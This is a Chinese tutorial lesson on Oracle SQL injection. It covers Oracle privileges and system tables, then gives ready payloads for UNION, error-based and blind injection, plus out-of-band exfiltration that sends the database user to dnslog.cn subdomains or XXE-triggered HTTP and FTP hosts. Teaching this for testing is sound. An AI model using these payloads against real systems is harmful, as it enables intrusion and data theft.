网络安全进阶学习第十五课——Oracle SQL注入
文章目录
- 一、Oracle数据库介绍
- 二、Oracle和MySQL的语法差异:
- 三、Oracle的数据库结构
- 四、Oracle的重点系统表
- 五、Oracle权限分类
- 1、系统权限
- 2、实体权限
- 3、管理角色
- 六、oracle常用信息查询方法
- 七、联合查询注入
- 1、order by 猜字段数量
- 2、查数据库版本和用户名
- 3、查当前数据库
- 4、查表
- 5、查字段
- 八、报错注入
- 九、盲注
- 1、布尔盲注
- 2、时间盲注
- 十、带外OOB
- 1、需要出外网HTTP
- 2、dns解析带外
- 3、SYS.DBMS_LDAP.INIT
- 4、HTTPURITYPE
- 5、Oracle XXE (CVE-2014-6577)
一、Oracle数据库介绍
Oracle数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。
Oracle服务默认端口:1521
Oracle和MySQL数据库语法大致相同,结构不太相同。最大的一个特点就是oracle可以调用Java代码。
Oracle要求select … from 后必须要有查询的表名
二、Oracle和MySQL的语法差异:
-
Oracle要求select后必须指明要查询的表名,可以用dual。
-
Oracle使用 || 拼接字符串,MySQL中为或运算。

-
单引号和双引号在Oracle中虽然都是字符串,但是双引号可以用来消除关键字,比如sysdate。
-
Oracle中limit应该使用虚表中的rownum字段通过where条件判断。

-
Oracle中没有空字符,'‘和’null’都是null,而MySQL中认为’'仍然是一个字符串。
-
Oracle对数据格式要求严格,比如union select的时候
三、Oracle的数据库结构
对于“数据库”这个概念而言,Oracle采用了”表空间“的定义。数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库。
当数据库创建时,Oracle 会默认创建五个库:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP:
- SYSTEM:这个用于是存储系统表和管理配置等基本信息
- SYSAUX:类似于 SYSTEM,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担
- UNDOTBS:用于事务回退等
- TEMP:作为缓存空间减少内存负担
- USERS:就是存储我们定义的表和数据
在Oracle中每个库中均存在一张dual表,这个表是虚表,并没有实际的存储意义,它永远只存储一条数据,因为Oracle的SQL语法要求select后必须跟上from,所以我们通常使用dual来作为计算、查询时间等SQL语句中from之后的虚表占位。举例:select 1+1 from dual。
Oracle要求select后必须指明要查询的表名,可以用dual。
四、Oracle的重点系统表
- – dba_tables : 系统里所有的表的信息,需要DBA权限才能查询
- – all_tables : 当前用户有权限的表的信息
- – user_tables: 当前用户名下的表的信息
- – DBA_ALL_TABLES:DBA 用户所拥有的或有访问权限的对象和表
- – ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
- – USER_ALL_TABLES:某一用户所拥有的对象和表
五、Oracle权限分类
在Oracle中,根据系统管理方式不同,将Oracle权限分为系统权限与实体权限两类。系统权限是指是否被授权用户可以连接到数据库上,在数据库中可以进行哪些系统操作。而实体权限是指用户对具体的模式实体(schema)所拥有的权限。
-
系统权限:系统规定用户使用数据库的权限。(系统权限是对用户而言)。
-
实体权限:某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)。
1、系统权限
- DBA:拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。
- RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。
- CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构。
对于普通用户:授予connect, resource权限。
对于DBA管理用户:授予connect,resource, dba权限。
系统权限授权命令:
系统权限只能由DBA用户授出:sys, system(最开始只能是这两个用户) 授权命令:
SQL> grant connect, resource, dba to 用户名1 [,用户名2]…;
注:普通用户通过授权可以具有与system相同的用户权限,但永远不能达到与sys用户相同的权限,system用户的权限也可以被回收。 例:
SQL> connect system/manager SQL> Create user user50 identified by user50; SQL> grant connect, resource to user50;查询用户拥有哪里权限:
SQL> select from dba_role_privs; SQL> select from dba_sys_privs; SQL> select * from role_sys_privs;查自己拥有哪些系统权限:
SQL> select * from session_privs;删除用户:
SQL> drop user 用户名 cascade; //加上cascade则将用户连同其创建的东西全部删除系统权限传递:增加WITH ADMIN OPTION选项,则得到的权限可以传递。
SQL> grant connect, resorce to user50 with admin option; //可以传递所获权限。系统权限回收:系统权限只能由DBA用户回收
SQL> Revoke connect, resource from user50;说明:
1)如果使用WITH ADMIN OPTION为某个用户授予系统权限,那么对于被这个用户授予相同权限的所有用户来说,取消该用户的系统权限并不会级联取消这些用户的相同权限。
2)系统权限无级联,即A授予B权限,B授予C权限,如果A收回B的权限,C的权限不受影响;系统权限可以跨用户回收,即A可以直接收回C用户的权限。
2、实体权限
- select, update, insert, alter, index, delete, all
#all包括所有权限 - execute
#执行存储过程权限
user01:
SQL> grant select, update, insert on product to user02;
SQL> grant all on product to user02;user02:
SQL> select * from user01.product;
// 此时user02查user_tables,不包括user01.product这个表,但如果查all_tables则可以查到,因为他可以访问。将表的操作权限授予全体用户:
SQL> grant all on product to public;
// public表示是所有的用户,这里的all权限不包括drop。实体权限数据字典:
SQL> select owner, table_name from all_tables; // 用户可以查询的表
SQL> select table_name from user_tables; // 用户创建的表
SQL> select grantor, table_schema, table_name, privilege from all_tab_privs; // 获权可以存取的表(被授权的)
SQL> select grantee, owner, table_name, privilege from user_tab_privs; // 授出权限的表(授出的权限)DBA用户可以操作全体用户的任意基表(无需授权,包括删除):DBA用户:
SQL> Create table stud02.product( id number(10), name varchar2(20));
SQL> drop table stud02.emp;SQL> create table stud02.employee as select * from scott.emp;实体权限传递(with grant option):
user01: SQL> grant select, update on product to user02 with grant option;
// user02得到权限,并可以传递。实体权限回收:
user01:
SQL>Revoke select, update on product from user02;
//传递的权限将全部丢失。说明:
如果取消某个用户的对象权限,那么对于这个用户使用WITH GRANT OPTION授予权限的用户来说,同样还会取消这些用户的相同权限,也就是说取消授权时级联的。
3、管理角色
建一个角色:
sql>create role role1;授权给角色:
sql>grant create any table,create procedure to role1;授予角色给用户:
sql>grant role1 to user1;查看角色所包含的权限:
sql>select * from role_sys_privs;创建带有口令以角色(在生效带有口令的角色时必须提供口令):
sql>create role role1 identified by password1;修改角色:是否需要口令
sql>alter role role1 not identified;
sql>alter role role1 identified by password1;设置当前用户要生效的角色 (注:角色的生效是一个什么概念呢?假设用户a有b1,b2,b3三个角色,
那么如果b1未生效,则b1所包含的权限对于a来讲是不拥有的,
只有角色生效了,角色内的权限才作用于用户,
最大可生效角色数由参数MAX_ENABLED_ROLES设定;
在用户登录后,oracle将所有直接赋给用户的权限和用户默认角色中的权限赋给用户。) sql>set role role1; //使role1生效
sql>set role role,role2; //使role1,role2生效
sql>set role role1 identified by password1; //使用带有口令的role1生效
sql>set role all; //使用该用户的所有角色生效
sql>set role none; //设置所有角色失效
sql>set role all except role1; //除role1外的该用户的所有其它角色生效。
sql>select * from SESSION_ROLES; //查看当前用户的生效的角色。修改指定用户,设置其默认角色
sql>alter user user1 default role role1;
sql>alter user user1 default role all except role1;删除角色
sql>drop role role1;角色删除后,原来拥用该角色的用户就不再拥有该角色了,相应的权限也就没有了。说明:
1)无法使用WITH GRANT OPTION为角色授予对象权限
2)可以使用WITH ADMIN OPTION 为角色授予系统权限,取消时不是级联
六、oracle常用信息查询方法
1、获取数据库版本信息
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%25';
2、获取操作系统版本信息
SELECT banner FROM v$version WHERE banner LIKE 'TNS%25';
3、获取当前数据库
SELECT name FROM v$database;
4、获取数据库用户
SELECT user FROM dual;
5、获取所有数据库用户
SELECT username FROM all_users;
SELECT name FROM sys.user$; -- 需要高权限
6、获取当前用户权限
SELECT * FROM session_privs;
7、获取当前用户有权限的所有数据库
SELECT DISTINCT owner, table_name FROM all_tables;
8、获取表,all_tables类似于MySQL中的information_schema.tables
SELECT * FROM all_tables;
9、获取字段名
SELECT column_name FROM all_tab_columns;
10、在Oracle启动时,在 userenv 中存储了一些系统上下文信息,通过 SYS_CONTEXT 函数,我们可以取回相应的参数值。包括当前用户名等等。
SELECT SYS_CONTEXT('USERENV','SESSION_USER') from dual;
七、联合查询注入
1、order by 猜字段数量
union select进行查询,需要注意的是每一个字段都需要对应前面select的数据类型(字符串/数字)。所以我们一般先使用null字符占位,然后逐位判断每个字段的类型,举例:
?username=admin' union select null,null,null from dual --+ 正常
?username=admin' union select 1,null,null from dual --+ 正常说明第一个字段是数字型
?username=admin' union select 1,2,null from dual --+ 第二个字段为数字时错误
?username=admin' union select 1,'asd',null from dual --+ 正常,就为字符串 依此类推
2、查数据库版本和用户名
?username=admin' union select 1,(select user from dual),(SELECT banner FROM v$version where banner like 'Oracle%25') from dual --+
3、查当前数据库
?username=admin' union select 1,(SELECT global_name FROM global_name),null from dual --+
4、查表
wmsys.wm_concat()等同于MySQL中的group_concat(),在11gr2和12C上已经抛弃,可以用LISTAGG()替代
但是LISTAGG()返回的是varchar类型,如果数据表很多会出现字符串长度过长的问题。这个时候可以使用通过字符串截取来进行。
?username=admin' union select 1,(select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='SYSTEM'),null from dual --+
5、查字段
?username=admin' union select 1,(select column_name from all_tab_columns where table_name='TEST' and rownum=2),null from dual --
八、报错注入
报错注入常用函数:
1、utl_inaddr.get_host_name
select utl_inaddr.get_host_name((select user from dual)) from dual;
11g之后,使用此函数的数据库用户需要有访问网络的权限
2、ctxsys.drithsx.sn
select ctxsys.drithsx.sn(1, (select user from dual)) from dual;
处理文本的函数,参数错误时会报错。
3、CTXSYS.CTX_REPORT.TOKEN_TYPE
select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual;
4、XMLType
?username=admin' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --+
注意url编码,如果返回的数据有空格的话,它会自动截断,导致数据不完整,这种情况下先转为 hex,再导出。
5、dbms_xdb_version.checkin
select dbms_xdb_version.checkin((select user from dual)) from dual;
6、dbms_xdb_version.makeversioned
select dbms_xdb_version.makeversioned((select user from dual)) from dual;
7、dbms_xdb_version.uncheckout
select dbms_xdb_version.uncheckout((select user from dual)) from dual;
8、dbms_utility.sqlid_to_sqlhash
SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;
9、ordsys.ord_dicom.getmappingxpath
select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;
10、UTL_INADDR.get_host_name
select UTL_INADDR.get_host_name((select user from dual)) from dual;
11、UTL_INADDR.get_host_address
select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;
九、盲注
1、布尔盲注
使用简单的字符串比较来进行,比如:
?username=admin' and (select substr(user, 1, 1) from dual)='S' --
通过decode配合除数为0来进行布尔盲注,比如:
?username=admin' and 1=(select decode(substr(user, 1, 1), 'S', (1/1),0) from dual) --+
2、时间盲注
时间延迟函数:DBMS_PIPE.RECEIVE_MESSAGE()函数
dbms_pipe.receive_message(‘RDS’, 10) #将为从RDS管道返回的数据等待10秒。
select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('asd', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 10))=1;
还可以配合decode:
select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual;
十、带外OOB
类似于MySQL load_file的带外盲注。OOB 都需要发起网络请求的权限,有限制。
1、需要出外网HTTP
使用函数:utl_http.request()
select utl_http.request('http://localhost:8080/index?username=' || (select user from dual)) from dual;
2、dns解析带外
使用函数:utl_inaddr.get_host_address
select utl_inaddr.get_host_address((select user from dual)||'.cbb1ya.dnslog.cn') from dual;
3、SYS.DBMS_LDAP.INIT
SELECT DBMS_LDAP.INIT((select user from dual)||'.24wypw.dnslog.cn',80) FROM DUAL;
这个函数在 10g/11g 中是 public 权限
4、HTTPURITYPE
SELECT HTTPURITYPE((select user from dual)||'.24wypw.dnslog.cn').GETCLOB() FROM DUAL;
5、Oracle XXE (CVE-2014-6577)
说是xxe,实际上应该算是利用xml的加载外部文档来进行数据带外。支持http和ftp
- http
select 1 from dual where 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.124.1/'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual);
- ftp
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual;
相关文章:
网络安全进阶学习第十五课——Oracle SQL注入
文章目录 一、Oracle数据库介绍二、Oracle和MySQL的语法差异:三、Oracle的数据库结构四、Oracle的重点系统表五、Oracle权限分类1、系统权限2、实体权限3、管理角色 六、oracle常用信息查询方法七、联合查询注入1、order by 猜字段数量2、查数据库版本和用户名3、查…...
线程池死循环系统卡住
案例: 同一个线程池。 首先核心线程数是8,我一次提交了 > 8个主任务,然后主任务又各自开启了几个子任务。 所以子任务没有核心线程来跑,只能放进阻塞队列等。 但主任务又等待子任务的结果,不释放占用线程ÿ…...
多用户微商城多端智慧生态电商系统搭建
多用户微商城多端智慧生态电商系统的搭建步骤如下: 系统规划:在搭建多用户微商城多端智慧生态电商系统之前,需要进行系统规划。包括确定系统的目标、功能、架构、技术选型、开发流程等方面。市场调研:进行市场调研,了…...
基于Kubeadm部署k8s集群:下篇
继续上篇内容 目录 7、安装flannel 8、节点管理命令 三、安装Dashboard UI 1、部署Dashboard 2、开放端口设置 3、权限配置 7、安装flannel Master 节点NotReady 的原因就是因为没有使用任何的网络插件,此时Node 和Master的连接还不正常。目前最流行的Kuber…...
【Python matplotlib】鼠标右键移动画布
在 Matplotlib 中,鼠标右键移动画布的功能通常是通过设置交互模式来实现的,例如使用 mpl_connect 方法。以下是一个示例代码,展示如何在 Matplotlib 中使用 mpl_connect 方法来实现鼠标右键移动画布的功能: import numpy as np …...
Sleuth+Zipkin服务链路追踪
微服务架构是一个分布式架构,它按业务划分服务单元。一个分布式系统往往有很多个服务单元。由于服务单元数量众多,业务的复杂性,如果出现了错误和异常,很难去定位。主要体现在,一个请求可能需要调用很多个服务…...
100G光模块的应用案例分析:电信、云计算和大数据领域
100G光模块是一种高速光模块,由于其高速率和低延迟的特性,在电信、云计算和大数据领域得到了广泛的应用。在本文中,我们将深入探讨100G光模块在这三个领域的应用案例。 一、电信领域 在电信领域,100G光模块被广泛用于构建高速通…...
MongoDB安装和配置
一、MongoDB安装和配置 1、进入官网下载你所需要的安装版本,点击直通官网 Step1:进入官网后,将看到如下界面,点击上方导航栏Products,找到Community Server Step2:选择自己需要的版本、系统和压缩方式 2、下…...
解决createRoot is not a function
报错: 出现的原因:在于把react18使用的vite构建,在开发中因react版本太高与其他库不兼容,而在降级的时候,出现以上dom渲染出现报错。 解决:将 src/index.j文件改成如下 import React from react; import…...
【Windows 常用工具系列 6 -- CSDN字体格式(字体、颜色、大小)、背景色设置】
文章目录 背景字体大小设置字体颜色设置字体类型背景色 背景 Markdown是一种轻量级标记语言,它的目标是实现“易读易写”。创立于2004年,由约翰格鲁伯(John Gruber)和亚伦斯沃茨(Aaron Swartz)共同设计。 …...
带着问题学习分布式系统
写在前面 听过很多道理,却依然过不好这一生。 看过很多关于学习的技巧、方法,却没应用到自己的学习中。 随着年纪变大,记忆力越来越差,整块的时间也越来越少,于是,越来越希望能够更高效的学习。学习是一种习…...
element vue2 动态添加 select+tree
难点在 1 添加一组一组的渲染 是往数组里push对象 循环的;但是要注意对象的结构! 因为这涉及到编辑完成后,表单提交时候的 校验! 是校验每一个select tree里边 是否勾选 2 是在后期做编辑回显的时候 保证后端返回的值 是渲染到 select中的tr…...
MySQL Linux自建环境备份至远端服务器自定义保留天数
环境准备 linux下安装mysql请看 Linux环境安装单节点mysql8.0.16 系统版本: CentOS 7 软件版本: mysql8.0.16 备份策略与实现方法 此次备份依赖mysql自带命令mysqldump与linux下crontab命令(定时任务) mysqldump mysqldump客户实用程序执行 逻辑备份,产生一组能够被执行…...
2023下半年软考改成机考,对考生有哪些影响?
软考改革成无纸化考试已经实锤。根据陕西软考办官网的消息,从2023年11月起,软考的所有科目都将改为机器考试形式。详情请参阅: 那么软考考试改为机考后,对我们会有哪些影响呢?我来简单概括一下。 1、复习的方法可以根…...
MySQL存储结构及索引
文章目录 MySQL结构1.2存储引擎介绍1.3存储引擎特点InnoDB逻辑存储结构 MyISAMMemory区别及特点存储引擎选择 索引索引概述索引结构BTreeHash索引分类聚集索引&二级索引索引语法SQL性能分析索引优化最左前缀法则范围查询字符串不加引号模糊查询or连接条件数据分布影响覆盖索…...
2023 RISC-V中国峰会 安全相关议题汇总
目录 1、The practical use cases of the RISC-V IOPMP 2、构建安全可信、稳定可靠的RISC-V安全体系 3、Enhancing RISC-V Debug Security with hardware-based isolation 4、Closing a side door: Designing high-performance RISC-V core resilient to branch prediction…...
要过软考,务必先搞清楚这3点
前段时间软考成绩出来了,大家都过了没? 我看好多人都说早上的题目稳过,下午的好多都挂了。 软考每年这个通过率,确实是一言难尽。 到底怎么样才能过,自学、培训,各种诀窍,五花八门。 但考不过…...
windows常用shell命令大全
简介 基于鼠标操作的后果就是OS界面外观发生改变, 就得多花学习成本。更主要的是基于界面引导Path与命令行直达速度是难以比拟的。另外Geek很大一部分是键盘控,而非鼠标流的。 整理Windows的常用Shell命令,一方面帮助深入学习Mysql…...
skywalking忽略调用链路中的指定异常
文章目录 一、介绍二、演示项目介绍1. 支付服务2. 订单服务 三、项目演示1. 未忽略异常2. 忽略异常修改配置使用注解 四、结论 往期内容 一、skywalking安装教程 二、skywalking全链路追踪 三、skywalking日志收集 一、介绍 在前面介绍在微服务项目中使用skywalking进行全链…...
学习笔记|printf函数的实现|不同操作系统中的换行|数的进制:2进制、10进制、16进制转换|STC32G单片机视频开发教程(冲哥)|第五集:C语言基础
文章目录 1.C语言 printf函数的实现Tips:ASCII码表Tips:找不到头文件怎么办?主函数添加程序:常规用法:Tips:不同操作系统中的换行 ⒉数的进制:2进制、10进制、16进制.常见的对应:应用:整体端口的操作 3.C语…...
线程同步:确保多线程程序的安全与高效!
全文目录: 开篇语前序前言第一部分:线程同步的概念与问题1.1 线程同步的概念1.2 线程同步的问题1.3 线程同步的解决方案 第二部分:synchronized关键字的使用2.1 使用 synchronized修饰方法2.2 使用 synchronized修饰代码块 第三部分ÿ…...
.Net Framework 4/C# 关键字(非常用,持续更新...)
一、is 关键字 is 关键字用于检查对象是否于给定类型兼容,如果兼容将返回 true,如果不兼容则返回 false,在进行类型转换前,可以先使用 is 关键字判断对象是否与指定类型兼容,如果兼容才进行转换,这样的转换是安全的。 例如有:首先创建一个字符串对象,然后将字符串对象隐…...
LeetCode - 199. 二叉树的右视图
题目 199. 二叉树的右视图 - 力扣(LeetCode) 思路 右视图是指从树的右侧看,对于每一层,只能看到该层最右边的节点。实现思路是: 使用深度优先搜索(DFS)按照"根-右-左"的顺序遍历树记录每个节点的深度对于…...
springboot整合VUE之在线教育管理系统简介
可以学习到的技能 学会常用技术栈的使用 独立开发项目 学会前端的开发流程 学会后端的开发流程 学会数据库的设计 学会前后端接口调用方式 学会多模块之间的关联 学会数据的处理 适用人群 在校学生,小白用户,想学习知识的 有点基础,想要通过项…...
Selenium常用函数介绍
目录 一,元素定位 1.1 cssSeector 1.2 xpath 二,操作测试对象 三,窗口 3.1 案例 3.2 窗口切换 3.3 窗口大小 3.4 屏幕截图 3.5 关闭窗口 四,弹窗 五,等待 六,导航 七,文件上传 …...
mac 安装homebrew (nvm 及git)
mac 安装nvm 及git 万恶之源 mac 安装这些东西离不开Xcode。及homebrew 一、先说安装git步骤 通用: 方法一:使用 Homebrew 安装 Git(推荐) 步骤如下:打开终端(Terminal.app) 1.安装 Homebrew…...
华为OD机试-最短木板长度-二分法(A卷,100分)
此题是一个最大化最小值的典型例题, 因为搜索范围是有界的,上界最大木板长度补充的全部木料长度,下界最小木板长度; 即left0,right10^6; 我们可以设置一个候选值x(mid),将木板的长度全部都补充到x,如果成功…...
渗透实战PortSwigger靶场:lab13存储型DOM XSS详解
进来是需要留言的,先用做简单的 html 标签测试 发现面的</h1>不见了 数据包中找到了一个loadCommentsWithVulnerableEscapeHtml.js 他是把用户输入的<>进行 html 编码,输入的<>当成字符串处理回显到页面中,看来只是把用户输…...
人工智能 - 在Dify、Coze、n8n、FastGPT和RAGFlow之间做出技术选型
在Dify、Coze、n8n、FastGPT和RAGFlow之间做出技术选型。这些平台各有侧重,适用场景差异显著。下面我将从核心功能定位、典型应用场景、真实体验痛点、选型决策关键点进行拆解,并提供具体场景下的推荐方案。 一、核心功能定位速览 平台核心定位技术栈亮…...
在鸿蒙HarmonyOS 5中使用DevEco Studio实现指南针功能
指南针功能是许多位置服务应用的基础功能之一。下面我将详细介绍如何在HarmonyOS 5中使用DevEco Studio实现指南针功能。 1. 开发环境准备 确保已安装DevEco Studio 3.1或更高版本确保项目使用的是HarmonyOS 5.0 SDK在项目的module.json5中配置必要的权限 2. 权限配置 在mo…...
